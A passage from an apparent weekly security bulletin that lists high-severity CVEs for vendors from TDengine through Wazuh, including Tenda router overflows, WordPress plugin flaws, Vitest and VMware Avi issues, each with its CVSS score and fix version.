| taosdata--TDengine            | TDengine is an open source, time-series database optimized for Internet of Things devices. In 3.4.1.6 and earlier, source/libs/parser/src/parUtil.c trimString() checks space for only one byte before processing SQL string escape sequences %, \_, or \x, allowing a one-byte out-of-bounds write to the stack buffer tmpTokenBuf that can cause denial of service and potentially remote code execution. This issue is fixed in version 3.4.1.14.                                                                                                                                                                                                                                                                                                                                                 | 2026-07-15 | 8.3        | <a href="#">CVE-2026-62349</a> |
| taosdata--TDengine            | TDengine is an open source, time-series database optimized for Internet of Things devices. Prior to 3.4.1.15, a user with create udf privilege could upload a crafted shared library and install it as a user-defined function, such as eval, then execute arbitrary C code on the TDengine server side through database queries. This issue is fixed in version 3.4.1.15.                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-15 | 7.2        | <a href="#">CVE-2026-62350</a> |
| taosdata--TDengine            | TDengine is a time-series database optimized for Internet of Things devices. Prior to 3.4.1.15, source/libs/transport/src/transComm.c transDecompressMsg() read STransCompMsg.contLen when pHead->comp == 1 without first validating that the RPC packet contained the 8-byte STransCompMsg structure, causing an                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-15 | 7.5        | <a href="#">CVE-2026-62351</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                        | unauthenticated out-of-bounds read, uncontrolled allocation, integer underflow, and server crash. This issue is fixed in version 3.4.1.15.                                                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| tenable--tenable_agent                                                 | A path traversal vulnerability in Tenable Agent 11.2.0 and 11.1.3 and lower allows a privileged attacker to write arbitrary files outside the intended plugin directory, potentially leading to remote code execution.                                                                                                                                                                                                                                                                                                                                  | 2026-07-14 | 9.1        | <a href="#">CVE-2026-15265</a> |
| Tencent--ncnn                                                          | ncnn is a high-performance neural network inference framework optimized for the mobile platform. In commit e54f7b1f88434e1d844ea0551b880a1cfb079ce1 and earlier, ncnn allows an out-of-bounds heap write in ncnn::ParamDict::load_param() when Net::load_param() loads a malicious .param model file because the parsed parameter id is checked only against id >= NCNN_MAX_PARAM_COUNT, allowing a negative id to index before the params[NCNN_MAX_PARAM_COUNT] array. This vulnerability is fixed by commit 5a0288f255daa6c3294f77109f67718e434ec020. | 2026-07-15 | 7.1        | <a href="#">CVE-2026-50144</a> |
| Tencent--PC Manager                                                    | A security vulnerability has been detected in Tencent PC Manager 18.1.30242.301. This issue affects some unknown processing in the library qmudisk64.sys of the component QMUDisk Driver. The manipulation leads to uncontrolled search path. The attack must be carried out locally. The attack is considered to have high complexity. The exploitability is assessed as difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                      | 2026-07-13 | 7          | <a href="#">CVE-2026-15515</a> |
| Tenda--BE12 Pro                                                        | A security flaw has been discovered in Tenda BE12 Pro 16.03.66.23. This affects the function fromSafeClientFilter of the file /goform/SafeClientFilter. Performing a manipulation of the argument page results in stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks.                                                                                                                                                                              | 2026-07-14 | 8.8        | <a href="#">CVE-2026-15691</a> |
| Tenda--BE12 Pro                                                        | A weakness has been identified in Tenda BE12 Pro 16.03.66.23. This vulnerability affects the function fromSafeUrlFilter of the file /goform/SafeUrlFilter. Executing a manipulation of the argument page can lead to stack-based buffer overflow. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks.                                                                                                                                                                             | 2026-07-14 | 8.8        | <a href="#">CVE-2026-15692</a> |
| Tenda--BE12 Pro                                                        | A security vulnerability has been detected in Tenda BE12 Pro 16.03.66.23. This issue affects the function fromSafeMacFilter of the file /goform/SafeMacFilter. The manipulation of the argument page leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used.                                                                                                                                                                                                     | 2026-07-14 | 8.8        | <a href="#">CVE-2026-15693</a> |
| Tenda--BE12 Pro                                                        | A vulnerability was detected in Tenda BE12 Pro 16.03.66.23. Impacted is the function fromSetIpBind of the file /goform/SetIpBind. The manipulation of the argument page results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit is now public and may be used.                                                                                                                                                                                                                                                | 2026-07-14 | 8.8        | <a href="#">CVE-2026-15694</a> |
| Tenda--BE12 Pro                                                        | A flaw has been found in Tenda BE12 Pro 16.03.66.23. The affected element is the function fromDhcpListClient of the file /goform/DhcpListClient. This manipulation of the argument page causes stack-based buffer overflow. The attack can be initiated remotely. The exploit has been published and may be used.                                                                                                                                                                                                                                       | 2026-07-14 | 8.8        | <a href="#">CVE-2026-15695</a> |
| Tenda--BE12 Pro                                                        | A vulnerability has been found in Tenda BE12 Pro 16.03.66.23. The impacted element is the function fromVirtualSer of the file /goform/VirtualSer. Such manipulation of the argument page leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.                                                                                                                                                                                                                       | 2026-07-14 | 8.8        | <a href="#">CVE-2026-15696</a> |
| Tenda--CH22                                                            | A vulnerability was found in Tenda CH22 1.0.0.1. This impacts the function formCertListInfo of the file /goform/CertListInfo. The manipulation of the argument Name results in buffer overflow. The attack can be launched remotely. The exploit has been made public and could be used.                                                                                                                                                                                                                                                                | 2026-07-13 | 8.8        | <a href="#">CVE-2026-15543</a> |
| Themefic--Hydra Booking                                                | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themefic Hydra Booking hydra-booking allows Stored XSS. This issue affects Hydra Booking: from n/a through <= 1.1.44.                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57388</a> |
| ThemeGoods--Grand Photography                                          | Deserialization of Untrusted Data vulnerability in ThemeGoods Grand Photography grandphotography allows Object Injection. This issue affects Grand Photography: from n/a through <= 5.7.8.                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 9.8        | <a href="#">CVE-2026-57770</a> |
| themehunk--Advance Product Search- Voice & Ajax Search for WooCommerce | The Advance Product Search- Voice & Ajax Search for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 's' and 'match' parameter in all versions up to, and including, 1.4.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                            | 2026-07-16 | 7.5        | <a href="#">CVE-2026-12753</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| themehunk--Open Shop                                                          | Missing Authorization vulnerability in themehunk Open Shop open-shop allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Open Shop: from n/a through <= 1.7.1.                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57405</a> |
| themelexus--Kitchor                                                           | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in themelexus Kitchor kitchor allows PHP Local File Inclusion.This issue affects Kitchor: from n/a through <= 1.4.3.                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57795</a> |
| ThemeMove--Billy                                                              | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove Billy billy allows PHP Local File Inclusion.This issue affects Billy: from n/a through <= 2.1.8.                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57790</a> |
| ThemeMove--Brook                                                              | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove Brook brook allows PHP Local File Inclusion.This issue affects Brook: from n/a through <= 2.9.0.                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57791</a> |
| Themeum--Kirki                                                                | Deserialization of Untrusted Data vulnerability in Themeum Kirki kirki allows Object Injection.This issue affects Kirki: from n/a through <= 6.0.12.                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 9.8        | <a href="#">CVE-2026-57724</a> |
| Themeum--Kirki                                                                | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Themeum Kirki kirki allows Blind SQL Injection.This issue affects Kirki: from n/a through <= 6.0.12.                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 9.3        | <a href="#">CVE-2026-57726</a> |
| Themeum--Kirki                                                                | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themeum Kirki kirki allows Stored XSS.This issue affects Kirki: from n/a through <= 6.0.11.                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57725</a> |
| Themeum--Kirki                                                                | Missing Authorization vulnerability in Themeum Kirki kirki allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Kirki: from n/a through <= 6.0.13.                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57727</a> |
| themifyme--Themify Builder                                                    | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in themifyme Themify Builder themify-builder allows Reflected XSS.This issue affects Themify Builder: from n/a through <= 7.7.4.                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57369</a> |
| thimpress--LearnPress WordPress LMS Plugin for Create and Sell Online Courses | The LearnPress - WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.4.1 via the check_answer. This makes it possible for unauthenticated attackers to extract the correct-answer markers, full option lists, explanations, and question content for any quiz question on the site - including questions belonging to paid courses the attacker is not enrolled in.                                                                                                                                | 2026-07-17 | 7.5        | <a href="#">CVE-2026-13765</a> |
| timwhitlock--Loco Translate                                                   | The Loco Translate plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.8.5. This is due to missing or incorrect nonce validation on the execTemplate function. This makes it possible for unauthenticated attackers to execute arbitrary PHP code on the server by supplying a php://filter stream wrapper URI as the 'template' parameter, which bypasses path validation and is passed directly to the include sink in execTemplate() via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. | 2026-07-16 | 8.8        | <a href="#">CVE-2026-15005</a> |
| tmlmobilidade--go                                                             | Gestor de Oferta is a web application for managing mobility service offerings. Prior to 20260509.0340.15, @tmlmobilidade/utills has a prototype pollution vulnerability in setValueAtPath() in packages/utills/src/generic/value-at-path.ts because unsafe path segments are not blocked. This issue is fixed in version 20260509.0340.15.                                                                                                                                                                                                                                                                          | 2026-07-16 | 8.2        | <a href="#">CVE-2026-45325</a> |
| tornadoweb--tornado                                                           | Tornado is a Python web framework and asynchronous networking library. Prior to 6.5.6, SimpleAsyncHTTPClient shallow-copied redirected requests and removed only the Host header, leaving Authorization, auth_username, auth_password, and auth_mode in place when a redirect changed scheme, host, or port. This issue is fixed in version 6.5.6.                                                                                                                                                                                                                                                                  | 2026-07-14 | 7.7        | <a href="#">CVE-2026-49853</a> |
| tornadoweb--tornado                                                           | Tornado is a Python web framework and asynchronous networking library. Prior to 6.5.6, Tornado gzip decompression routines processed limited-size chunks but did not enforce an overall limit on accumulated decompressed chunks, allowing a malicious server accessed by SimpleAsyncHTTPClient or an HTTPServer configured with decompress_request=True to consume effectively unlimited memory. This issue is fixed in version 6.5.6.                                                                                                                                                                             | 2026-07-14 | 7.5        | <a href="#">CVE-2026-49855</a> |
| Totolink--NR1800X                                                             | A weakness has been identified in Totolink NR1800X 9.1.0u.6279_B20210910. Affected by this issue is the function Form_Logout of the file /formLogout.htm of the component lighttpd. This manipulation of the argument Host causes stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks.                                                                                                                                                                                                                  | 2026-07-14 | 9.8        | <a href="#">CVE-2026-15701</a> |
| Tribulant Software--Newsletters                                               | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Tribulant Software Newsletters newsletters-lite allows Reflected XSS.This issue affects Newsletters: from n/a through <= 4.14.                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57394</a> |
| uncannyowl--Uncanny                                                           | The Uncanny Automator - Easy Automation, Integration, Webhooks & Workflow Builder Plugin plugin for WordPress is vulnerable to arbitrary file deletion due to                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-16 | 8.1        | <a href="#">CVE-2026-15008</a> |



# High Vulnerabilities

| Primary Vendor -- Product                                                              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Automator Easy Automation, Integration, Webhooks & Workflow Builder Plugin             | insufficient file path validation in the fr_token function in all versions up to, and including, 7.3.1.4. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). Exploitation requires a Forminator form connected to an Uncanny Automator recipe configured for 'Everyone', allowing unauthenticated form submissions to supply the malicious serialized payload; a gadget chain is present within the plugin via the Action_Helpers_Email_destruct() method, meaning no external gadget library is required.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |            |            |                                |
| UnitedOver--Digits: WordPress Mobile Number Signup and Login                           | The Digits: WordPress Mobile Number Signup and Login plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 9.1.0.5. This is due to missing authorization and role validation in the `dig_update_wpsc_custom_fields()` function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate their privileges to Administrator by submitting a forged `digits_reg_userrole` value during profile update, granted the site administrator has configured the built-in DIGITS User Role field.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-16 | 8.8        | <a href="#">CVE-2026-13741</a> |
| Unlimited Elements--Unlimited Elements For Elementor (Free Widgets, Addons, Templates) | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Unlimited Elements Unlimited Elements For Elementor (Free Widgets, Addons, Templates) unlimited-elements-for-elementor allows Reflected XSS.This issue affects Unlimited Elements For Elementor (Free Widgets, Addons, Templates): from n/a through <= 2.0.12.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57718</a> |
| urwid--urwid                                                                           | The urwid web display backend (urwid/display/web.py) generates web session identifiers (urwid_id) in Screen.start() by concatenating two random.randrange(10**9) calls that use Python's Mersenne Twister PRNG, which is not cryptographically secure. Each call consumes approximately 30 bits of PRNG state, and the Mersenne Twister internal state is approximately 19,937 bits, so an attacker who observes approximately 334 session IDs (for example via the X-Urwid-ID HTTP response header) can fully reconstruct the internal state and predict all past and future session IDs (Path B). The same identifier is also used as the filename of a FIFO created in the world-listable /tmp directory (for example /tmp/urwid375487765176907690.in), so any local user on the host can list /tmp to enumerate active session tokens directly (Path A). With a valid session ID, an attacker can read the victim's terminal screen via the polling endpoint, inject keystrokes into the victim's session (yielding OS-level code execution with the session owner's privileges if the session runs a shell), and inject exit sequences or flood the FIFO to terminate or crash the session. A prior Bandit S311 warning on this usage was suppressed with # noqa: S311 rather than fixed | 2026-07-18 | 8.1        | <a href="#">CVE-2026-9323</a>  |
| UX-themes--Flatsome                                                                    | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in UX-themes Flatsome flatsome allows Reflected XSS.This issue affects Flatsome: from n/a through <= 3.20.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57728</a> |
| UX-themes--Flatsome                                                                    | Missing Authorization vulnerability in UX-themes Flatsome flatsome allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Flatsome: from n/a through <= 3.20.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57729</a> |
| uxper--Golo Framework                                                                  | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in uxper Golo Framework golo-framework allows PHP Local File Inclusion.This issue affects Golo Framework: from n/a through <= 1.7.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57794</a> |
| uxper--Nuss                                                                            | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in uxper Nuss nuss allows PHP Local File Inclusion.This issue affects Nuss: from n/a through <= 1.3.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57799</a> |
| ViewComponent--view_component                                                          | view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 4.0.0 until 4.12.0, ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data, and ViewComponent::Collection#render_in can amplify the issue by joining per-item results and marking the entire output html_safe, converting raw unsafe output into an ActiveSupport::SafeBuffer. This issue is fixed in version 4.12.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-17 | 8.7        | <a href="#">CVE-2026-54498</a> |
| VillaTheme--Bopo WooCommerce Product Bundle Builder                                    | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VillaTheme Bopo - WooCommerce Product Bundle Builder bopo-woo-product-bundle-builder allows Reflected XSS.This issue affects Bopo - WooCommerce Product Bundle Builder: from n/a through <= 1.2.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57422</a> |



# High Vulnerabilities

| Primary Vendor -- Product                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Vimesoft Inc.-- Enterprise Video Platform | Unverified password change vulnerability in Vimesoft Inc. Enterprise Video Platform allows Authentication Bypass. This issue affects Enterprise Video Platform: from 3.11.0.0 before 3.25.0.                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-17 | 9.8        | <a href="#">CVE-2026-12692</a> |
| Vimesoft Inc.-- Enterprise Video Platform | Authorization bypass through User-Controlled key vulnerability in Vimesoft Inc. Enterprise Video Platform allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Enterprise Video Platform: from 3.11.0.0 before 3.25.0.                                                                                                                                                                                                                                                                                                                                      | 2026-07-17 | 9.4        | <a href="#">CVE-2026-12693</a> |
| Vimesoft Inc.-- Enterprise Video Platform | Missing Authorization vulnerability in Vimesoft Inc. Enterprise Video Platform allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Enterprise Video Platform: from 3.11.0.0 before 3.25.0.                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-17 | 9.1        | <a href="#">CVE-2026-12694</a> |
| Vimesoft Inc.-- Enterprise Video Platform | Missing authentication for critical function vulnerability in Vimesoft Inc. Enterprise Video Platform allows Authentication Bypass. This issue affects Enterprise Video Platform: from 3.11.0.0 before 3.25.0.                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-17 | 7.5        | <a href="#">CVE-2026-12691</a> |
| VITEC--Flamingo                           | Vitec Flamingo 4.12.2 contains an unauthenticated OS command injection vulnerability in the admin/ajax/ping.php endpoint that allows remote attackers to execute arbitrary commands by exploiting a double-evaluation flaw in shell argument handling. The endpoint applies escapeshellarg() to the user-supplied host POST parameter before passing it to a system wrapper, but the wrapper retrieves the decoded value from argv and incorporates it into a second shell_exec() call without escaping, allowing injected commands to execute with root privileges via passwordless sudo. | 2026-07-13 | 9.8        | <a href="#">CVE-2026-60121</a> |
| VITEC--Flamingo                           | Vitec Flamingo 4.12.2 contains an unauthenticated OS command injection vulnerability in the admin/ajax/gen_graphs.php endpoint that allows remote unauthenticated attackers to execute arbitrary commands by supplying shell metacharacters in the start, end, key, or format HTTP GET parameters. Attackers can exploit the lack of input sanitization in the graph generation script, which passes user-supplied values directly to shell commands via passthru(), to execute arbitrary OS commands with root privileges due to the web server context having passwordless sudo access.  | 2026-07-13 | 9.8        | <a href="#">CVE-2026-61498</a> |
| vitest-dev--vitest                        | Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.                                                                                                                                             | 2026-07-14 | 9.6        | <a href="#">CVE-2026-47428</a> |
| vitest-dev--vitest                        | Vitest is a testing framework powered by Vite. Prior to 3.2.5 and 4.1.0, the Vitest UI/API server on Windows used isFileServingAllowed incorrectly for /__vitest_attachment__, allowing \\?\\..\\ path traversal to read files outside the project; exposed API write and rerun features such as saveTestFile and rerun could also allow arbitrary script execution. This issue is fixed in versions 3.2.5 and 4.1.0.                                                                                                                                                                      | 2026-07-14 | 9.8        | <a href="#">CVE-2026-47429</a> |
| vitest-dev--vitest                        | Vitest is a testing framework powered by Vite. From 3.0.0 until 3.2.5, 4.1.8, and 5.0.0-beta.4, Vitest Browser Mode exposed a cdp() API that forwarded raw Chrome DevTools Protocol methods without being gated by allowWrite or allowExec, allowing a remote client with exposed browser API metadata to use CDP Page.setDownloadBehavior and Runtime.evaluate to overwrite vite.config.ts and execute attacker-controlled Node.js code. This issue is fixed in versions 3.2.5, 4.1.8, and 5.0.0-beta.                                                                                    | 2026-07-14 | 9.8        | <a href="#">CVE-2026-53633</a> |
| VLThemes--Leedo                           | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in VLThemes Leedo leedo allows PHP Local File Inclusion.This issue affects Leedo: from n/a through <= 3.0.0.                                                                                                                                                                                                                                                                                                                                                         | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57796</a> |
| VMware--Avi Load Balancer                 | VMware Avi Load Balancer contains an authentication bypass vulnerability. A malicious user with network access may be able to access the Avi Control plane by bypassing the authentication mechanism. Affected versions: 31.1.1 through 31.2.2 (fixed in 31.2.2-2p3) 30.1.1 through 30.2.6 (fixed in 30.2.7) 22.1.1 through 22.1.7 (fixed in 30.2.7)                                                                                                                                                                                                                                       | 2026-07-18 | 9.8        | <a href="#">CVE-2026-47865</a> |
| VMware--Avi Load Balancer                 | VMware Avi Load Balancer contains an authorization bypass vulnerability. A malicious actor on the network can access a limited subset of the Avi Control Plane without proper authorization. Affected versions: 32.1.1 (fixed in 32.1.2) 31.1.1 through 31.2.2 (fixed in 31.2.2-2p3) 30.1.1 through 30.2.6 (fixed in 30.2.7) 22.1.1 through 22.1.7 (fixed in 30.2.7)                                                                                                                                                                                                                       | 2026-07-18 | 8.3        | <a href="#">CVE-2026-47866</a> |
| VMware--Avi Load Balancer                 | VMware Avi Load Balancer contains a remote code execution vulnerability. A malicious user with network access may be able to access the Avi Control plane and execute code remotely. Affected versions: 32.1.1 (fixed in 32.1.2) 31.1.1 through 31.2.2 (fixed in 31.2.2-2p3) 30.1.1 through 30.2.6 (fixed in 30.2.7) 22.1.1 through 22.1.7 (fixed in 30.2.7)                                                                                                                                                                                                                               | 2026-07-18 | 8.7        | <a href="#">CVE-2026-47867</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| VMware--Avi Load Balancer | VMware Avi Load Balancer contains a remote code execution vulnerability. A malicious authenticated user with network access may be able to inject and execute code. Affected versions: 32.1.1 (fixed in 32.1.2) 31.1.1 through 31.2.2 (fixed in 31.2.2-2p3) 30.1.1 through 30.2.6 (fixed in 30.2.7) 22.1.1 through 22.1.7 (fixed in 30.2.7)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-18 | 8.7        | <a href="#">CVE-2026-47869</a> |
| VMware--Avi Load Balancer | VMware Avi Load Balancer contains a directory traversal vulnerability. Flaws in file path validation allow malicious, authenticated network users to perform directory traversal attacks. Affected versions: 32.1.1 (fixed in 32.1.2) 31.1.1 through 31.2.2 (fixed in 31.2.2-2p3) 30.1.1 through 30.2.6 (fixed in 30.2.7) 22.1.1 through 22.1.7 (fixed in 30.2.7)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-18 | 8.8        | <a href="#">CVE-2026-47871</a> |
| VMware--Avi Load Balancer | VMware Avi Load Balancer contains a local privilege escalation vulnerability. A malicious user with local access may be able to escalate their privileges to run code as root. Affected versions: 32.1.1 (fixed in 32.1.2) 31.1.1 through 31.2.2 (fixed in 31.2.2-2p3) 30.1.1 through 30.2.6 (fixed in 30.2.7) 22.1.1 through 22.1.7 (fixed in 30.2.7)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-18 | 7.8        | <a href="#">CVE-2026-47868</a> |
| VMware--Avi Load Balancer | VMware Avi Load Balancer contains a privilege escalation vulnerability. A malicious authenticated user with network access may be able to execute remote code. Affected versions: 32.1.1 (fixed in 32.1.2) 31.1.1 through 31.2.2 (fixed in 31.2.2-2p3) 30.1.1 through 30.2.6 (fixed in 30.2.7) 22.1.1 through 22.1.7 (fixed in 30.2.7)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-18 | 7.1        | <a href="#">CVE-2026-47870</a> |
| WAGO--0765-110x/0100-0000 | Certain devices in the WAGO System I/O Field series activate an internal diagnostic capability during the initial startup sequence. This functionality is not formally documented and becomes accessible without authentication for a brief period in the early boot phase. During this window, an unauthenticated remote attacker can gain access to the internal system processes, resulting in full system compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-13 | 9.8        | <a href="#">CVE-2026-4769</a>  |
| wao0AI--wao0wao0          | A weakness has been identified in wao0AI wao0wao0 up to 0.4.1. Affected by this vulnerability is the function <code>getInternalTaskSession/getAuthSession/requireUserAuth/requireProjectAuth/requireProjectAuthLight</code> in the library <code>src/lib/api-auth.ts</code> of the component Internal Task Header Handler. This manipulation of the argument <code>x-internal-user-id</code> request causes improper authentication. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 7.3        | <a href="#">CVE-2026-15557</a> |
| wazuh--wazuh              | Wazuh Manager before 5.0.0-beta3 fails to escape the <code>DataValue.index</code> field when constructing OpenSearch bulk requests, allowing enrolled agents to inject arbitrary NDJSON operations. Attackers can smuggle delete, index, or update operations into bulk requests executed under the manager's admin credentials, enabling document deletion, alert tampering, and cross-agent SIEM state manipulation.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-15 | 10         | <a href="#">CVE-2026-56699</a> |
